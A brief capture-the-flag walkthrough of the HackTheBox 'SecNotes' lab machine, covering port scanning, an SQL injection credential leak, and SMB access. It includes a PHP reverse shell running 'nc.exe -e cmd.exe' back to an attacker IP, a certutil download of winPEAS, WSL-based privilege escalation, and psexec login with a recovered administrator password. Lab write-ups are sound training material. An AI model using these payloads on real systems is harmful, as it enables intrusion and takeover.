2 minute read

SecNotes

Reconnaissance

IP: 10.10.10.97

NMAP

nmap -T4 -A -p- 10.10.10.97
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-07 10:41 EST
Nmap scan report for 10.10.10.97
Host is up (0.031s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT     STATE SERVICE      VERSION
80/tcp   open  http         Microsoft IIS httpd 10.0
| http-title: Secure Notes - Login
|_Requested resource was login.php
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|_  Potentially risky methods: TRACE
445/tcp  open  microsoft-ds Windows 10 Enterprise 17134 microsoft-ds (workgroup: HTB)
8808/tcp open  http         Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows
| http-methods: 
|_  Potentially risky methods: TRACE
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows XP (85%)
OS CPE: cpe:/o:microsoft:windows_xp::sp3
Aggressive OS guesses: Microsoft Windows XP SP3 (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: SECNOTES; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_clock-skew: mean: 2h39m31s, deviation: 4h37m09s, median: -29s                                                         
| smb2-security-mode:                                                                                                   
|   3:1:1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2025-03-07T15:43:25
|_  start_date: N/A
| smb-os-discovery: 
|   OS: Windows 10 Enterprise 17134 (Windows 10 Enterprise 6.3)
|   OS CPE: cpe:/o:microsoft:windows_10::-
|   Computer name: SECNOTES
|   NetBIOS computer name: SECNOTES\x00
|   Workgroup: HTB\x00
|_  System time: 2025-03-07T07:43:24-08:00

TRACEROUTE (using port 80/tcp)
HOP RTT      ADDRESS
1   31.27 ms 10.10.14.1
2   31.64 ms 10.10.10.97

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 153.43 seconds

Nmap scan shows 3 open ports 80 - http, 445 - smb, 8808 - http

Website

Site

Login page, I tried to create account and find something on usefull on site:

and we have probably admin email

site is vulnerable to xss but I also find sql injection in registration, what led me to credentials, doesn’t work on site, so let’s try it in smb

SMB

smbclient \\\\10.10.10.97\\new-site -U tyler

Port 8808

Default IIS Windows page

Gaining access

First I copy nc.exe from system’s resources directory and then upload it to target system

cp /usr/share/windows-resources/binaries/nc.exe .

in smbclient:

put nc.exe

Next I create PHP reverse shell payload

<?php
system('nc.exe -e cmd.exe 10.10.14.15 1337')
?>

set up the listener

nc -nvlp 1337

Then we need to trigger payload by navigating to:

http://10.10.10.97:8808/rev.php

We have lol-level shell, let’s grab first flag

type c:\users\tyler\desktop\user.txt

Privilege Escalation

Open python http server in winpeas directory:

python3 http.server 80

And download it on target machine

certutil -urlcache -f http://10.10.14.15/winPEASany.exe win.exe

I attempt to search for the bash.exe executable on the target system to check if Windows Subsystem for Linux (WSL) is available for exploitation:

c:\>where /R c:\windows bash.exe
	where /R c:\windows bash.exe
	c:\Windows\WinSxS\amd64_microsoft-windows-lxss-
bash_31bf3856ad364e35_10.0.17134.1_none_251beae725bc7de5\bash.exe

Use this guide https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/windows-privilege-escalation/#eop-windows-subsystem-for-linux-wsl

And we have root privilege let’s spawn TTY shell with simple python

python -c "import pty;pty.spawn('/bin/bash')"

To upgrade our shell let’s enumerate linux, history shows everything here:

Copy smbclient login and change ip:

smbclient -U 'administrator%u6!4ZwgwOM#^OBf#Nwnh' \\\\10.10.10.97\\c$

Navigate to:

cd \users\administrator\desktop\
get root.txt

And grab root flag We can also connect via psexec.py to get full shell

psexec.py administrator:'u6!4ZwgwOM#^OBf#Nwnh'@10.10.10.97